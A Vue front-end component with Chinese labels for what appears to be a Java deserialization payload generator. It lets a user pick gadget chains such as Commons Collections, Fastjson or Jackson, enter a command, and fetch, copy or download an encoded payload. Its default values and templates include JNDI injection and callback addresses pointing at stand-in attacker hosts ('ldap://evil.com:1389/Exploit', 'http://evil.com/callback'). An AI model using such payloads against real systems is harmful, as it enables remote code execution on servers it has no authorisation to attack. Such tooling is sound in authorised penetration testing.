<script setup lang="ts">
import { ref, reactive, computed, onMounted } from "vue";
import { ElMessage, ElTag } from "element-plus";
import { generatePayload, getAvailableChains } from "../servers";

const payloadForm = reactive({
  chain_name: "",
  command: "",
  payload_type: "exec",
  encoding: "base64",
});

const payloadResult = ref<any>(null);
const generating = ref(false);
const availableChains = ref<any[]>([]);
const selectedChain = ref<any>(null);

const groupedChains = computed(() => {
  const groups = {};
  availableChains.value.forEach((chain: any) => {
    const type = chain.gadget_type || "other";
    if (!groups[type]) {
      groups[type] = [];
    }
    groups[type].push(chain);
  });

  return Object.keys(groups).map((key) => ({
    label: getTypeLabel(key),
    options: groups[key],
  }));
});

const getTypeLabel = (type: string) => {
  const labels = {
    "commons-collections": "Commons Collections",
    "commons-beanutils": "Commons Beanutils",
    spring: "Spring Framework",
    fastjson: "Fastjson",
    jackson: "Jackson",
    other: "其他",
  };
  return labels[type] || type;
};

const fetchAvailableChains = async () => {
  try {
    const { data } = await getAvailableChains();
    // 根据文档，返回的数据结构可能是 { total: X, gadgets: [...] } 或直接是 gadgets 数组
    if (data?.gadgets) {
      availableChains.value = data.gadgets;
    } else if (Array.isArray(data)) {
      availableChains.value = data;
    } else {
      availableChains.value = [];
    }
  } catch (error) {
    console.error("获取可用链失败", error);
    ElMessage.error("获取可用链失败");
  }
};

const handleChainChange = (chainName: string) => {
  selectedChain.value = availableChains.value.find(
    (c: any) => c.chain_name === chainName
  );
  if (selectedChain.value) {
    // 根据Gadget支持的能力设置默认Payload类型
    if (selectedChain.value.can_exec_command) {
      payloadForm.payload_type = "exec";
      payloadForm.command = "whoami";
    } else if (selectedChain.value.can_jndi_inject) {
      payloadForm.payload_type = "jndi";
      payloadForm.command = "ldap://evil.com:1389/Exploit";
    } else if (selectedChain.value.can_dns_query) {
      payloadForm.payload_type = "dns";
      payloadForm.command = "test.dnslog.cn";
    } else if (selectedChain.value.can_http_request) {
      payloadForm.payload_type = "http";
      payloadForm.command = "http://evil.com/callback";
    }
  }
};

const setCommand = (cmd: string) => {
  payloadForm.command = cmd;
};

const commandPlaceholder = computed(() => {
  const placeholders = {
    exec: "输入要执行的命令，如: whoami",
    jndi: "输入JNDI地址，如: ldap://evil.com:1389/Exploit",
    dns: "输入DNS域名，如: test.dnslog.cn",
    http: "输入HTTP URL，如: http://evil.com/callback",
  };
  return (
    placeholders[payloadForm.payload_type as keyof typeof placeholders] ||
    "输入命令或参数"
  );
});

// 常用命令模板
const commandTemplates: Record<
  string,
  Array<{ label: string; cmd: string }>
> = {
  exec: [
    { label: "whoami", cmd: "whoami" },
    { label: "id", cmd: "id" },
    { label: "pwd", cmd: "pwd" },
    { label: "ls", cmd: "ls -la" },
    { label: "curl", cmd: "curl http://example.com" },
    { label: "wget", cmd: "wget http://example.com" },
  ],
  jndi: [
    { label: "LDAP", cmd: "ldap://evil.com:1389/Exploit" },
    { label: "RMI", cmd: "rmi://evil.com/Exploit" },
  ],
  dns: [{ label: "DNS查询", cmd: "test.dnslog.cn" }],
  http: [{ label: "HTTP请求", cmd: "http://evil.com/callback" }],
};

const handleGeneratePayload = async () => {
  if (!payloadForm.chain_name) {
    ElMessage.error("请选择Gadget链");
    return;
  }
  if (!payloadForm.command) {
    ElMessage.error("请输入命令");
    return;
  }

  generating.value = true;
  try {
    const { data } = await generatePayload(payloadForm);
    payloadResult.value = data;
    ElMessage.success("Payload生成成功");
  } catch (error: any) {
    ElMessage.error(error.message || "生成失败");
  } finally {
    generating.value = false;
  }
};

const copyPayload = () => {
  const textarea = document.createElement("textarea");
  textarea.value = payloadResult.value.payload;
  document.body.appendChild(textarea);
  textarea.select();
  document.execCommand("copy");
  document.body.removeChild(textarea);
  ElMessage.success("已复制到剪贴板");
};

const downloadPayload = () => {
  const blob = new Blob([payloadResult.value.payload], {
    type: "application/octet-stream",
  });
  const url = URL.createObjectURL(blob);
  const a = document.createElement("a");
  a.href = url;
  a.download = `${payloadResult.value.chain_name}_payload.txt`;
  a.click();
  URL.revokeObjectURL(url);
};

const resetPayloadForm = () => {
  payloadForm.chain_name = "";
  payloadForm.command = "";
  payloadForm.payload_type = "exec";
  payloadForm.encoding = "base64";
  selectedChain.value = null;
  payloadResult.value = null;
};

onMounted(() => {
  fetchAvailableChains();
});
</script>

<template>
  <div>
    <el-card>
      <el-form :model="payloadForm" label-width="120px">
        <el-form-item label="选择Gadget链">
          <el-select
            v-model="payloadForm.chain_name"
            filterable
            placeholder="选择Gadget链"
            @change="handleChainChange"
            style="width: 100%"
          >
            <el-option-group
              v-for="group in groupedChains"
              :key="group.label"
              :label="group.label"
            >
              <el-option
                v-for="item in group.options"
                :key="item.id"
                :label="item.chain_name"
                :value="item.chain_name"
              >
                <span>{{ item.chain_name }}</span>
                <span style="float: right; color: #8492a6; font-size: 12px">
                  <el-tag
                    v-if="item.can_exec_command"
                    size="small"
                    type="danger"
                    style="margin-left: 4px"
                    >CMD</el-tag
                  >
                  <el-tag
                    v-if="item.can_jndi_inject"
                    size="small"
                    type="warning"
                    style="margin-left: 4px"
                    >JNDI</el-tag
                  >
                  <el-tag
                    v-if="item.can_dns_query"
                    size="small"
                    type="info"
                    style="margin-left: 4px"
                    >DNS</el-tag
                  >
                  <el-tag
                    v-if="item.can_http_request"
                    size="small"
                    type="success"
                    style="margin-left: 4px"
                    >HTTP</el-tag
                  >
                </span>
              </el-option>
            </el-option-group>
          </el-select>
        </el-form-item>

        <!-- 选中的Gadget信息 -->
        <el-form-item
          v-if="selectedChain"
          label="支持能力"
          style="margin-bottom: 10px"
        >
          <el-tag
            v-if="selectedChain.can_exec_command"
            type="danger"
            size="small"
            style="margin-right: 4px"
            >命令执行</el-tag
          >
          <el-tag
            v-if="selectedChain.can_jndi_inject"
            type="warning"
            size="small"
            style="margin-right: 4px"
            >JNDI注入</el-tag
          >
          <el-tag
            v-if="selectedChain.can_dns_query"
            type="info"
            size="small"
            style="margin-right: 4px"
            >DNS查询</el-tag
          >
          <el-tag
            v-if="selectedChain.can_http_request"
            type="success"
            size="small"
            style="margin-right: 4px"
            >HTTP请求</el-tag
          >
          <el-tag
            v-if="selectedChain.can_file_read"
            size="small"
            style="margin-right: 4px"
            >文件读取</el-tag
          >
          <el-tag
            v-if="selectedChain.can_file_write"
            size="small"
            style="margin-right: 4px"
            >文件写入</el-tag
          >
        </el-form-item>

        <el-form-item label="Payload类型">
          <el-radio-group v-model="payloadForm.payload_type">
            <el-radio
              label="exec"
              :disabled="!selectedChain || !selectedChain.can_exec_command"
              >命令执行 (exec)</el-radio
            >
            <el-radio
              label="jndi"
              :disabled="!selectedChain || !selectedChain.can_jndi_inject"
              >JNDI注入 (jndi)</el-radio
            >
            <el-radio
              label="dns"
              :disabled="!selectedChain || !selectedChain.can_dns_query"
              >DNS查询 (dns)</el-radio
            >
            <el-radio
              label="http"
              :disabled="!selectedChain || !selectedChain.can_http_request"
              >HTTP请求 (http)</el-radio
            >
          </el-radio-group>
        </el-form-item>

        <el-form-item label="命令/参数">
          <el-input
            v-model="payloadForm.command"
            :placeholder="commandPlaceholder"
            type="textarea"
            :rows="3"
          />
          <div class="command-shortcuts">
            <template
              v-for="template in commandTemplates[payloadForm.payload_type] ||
              []"
              :key="template.label"
            >
              <el-button size="small" @click="setCommand(template.cmd)">
                {{ template.label }}
              </el-button>
            </template>
          </div>
        </el-form-item>

        <el-form-item label="编码方式">
          <el-radio-group v-model="payloadForm.encoding">
            <el-radio label="base64" title="推荐：安全传输，适合HTTP/JSON"
              >Base64 (推荐)</el-radio
            >
            <el-radio label="hex" title="十六进制编码，便于分析"
              >Hex (十六进制)</el-radio
            >
            <el-radio label="raw" title="原始字节，需二进制传输"
              >Raw (原始)</el-radio
            >
          </el-radio-group>
        </el-form-item>

        <el-form-item>
          <el-button
            type="primary"
            @click="handleGeneratePayload"
            :loading="generating"
            >生成Payload</el-button
          >
          <el-button @click="resetPayloadForm">重置</el-button>
        </el-form-item>
      </el-form>
    </el-card>

    <!-- 生成结果 -->
    <el-card v-if="payloadResult" style="margin-top: 20px">
      <template #header>
        <div
          style="
            display: flex;
            justify-content: space-between;
            align-items: center;
          "
        >
          <span>生成结果</span>
          <el-button type="text" @click="payloadResult = null">清空</el-button>
        </div>
      </template>

      <el-descriptions :column="2" border>
        <el-descriptions-item label="链名称">{{
          payloadResult.chain_name
        }}</el-descriptions-item>
        <el-descriptions-item label="链类型">{{
          payloadResult.gadget_type || "N/A"
        }}</el-descriptions-item>
        <el-descriptions-item label="Payload类型">
          <el-tag size="small">{{ payloadResult.payload_type }}</el-tag>
        </el-descriptions-item>
        <el-descriptions-item label="命令">{{
          payloadResult.command
        }}</el-descriptions-item>
        <el-descriptions-item label="Payload大小"
          >{{ payloadResult.payload_size }} 字节</el-descriptions-item
        >
        <el-descriptions-item label="编码方式">{{
          payloadResult.encoding
        }}</el-descriptions-item>
        <el-descriptions-item label="SHA256" :span="2">
          <span
            style="
              font-family: monospace;
              font-size: 12px;
              word-break: break-all;
            "
            >{{ payloadResult.payload_hash }}</span
          >
        </el-descriptions-item>
      </el-descriptions>

      <div style="margin-top: 20px">
        <div
          style="
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 10px;
          "
        >
          <strong>Payload内容:</strong>
          <div>
            <el-button size="small" type="primary" @click="copyPayload">
              复制
            </el-button>
            <el-button size="small" type="success" @click="downloadPayload">
              下载
            </el-button>
          </div>
        </div>
        <el-input
          type="textarea"
          :model-value="payloadResult.payload"
          readonly
          :rows="10"
          style="font-family: monospace; font-size: 12px"
        />
      </div>
    </el-card>
  </div>
</template>

<style scoped lang="scss">
.command-shortcuts {
  margin-top: 10px;
  display: flex;
  gap: 8px;
  flex-wrap: wrap;
}
</style>
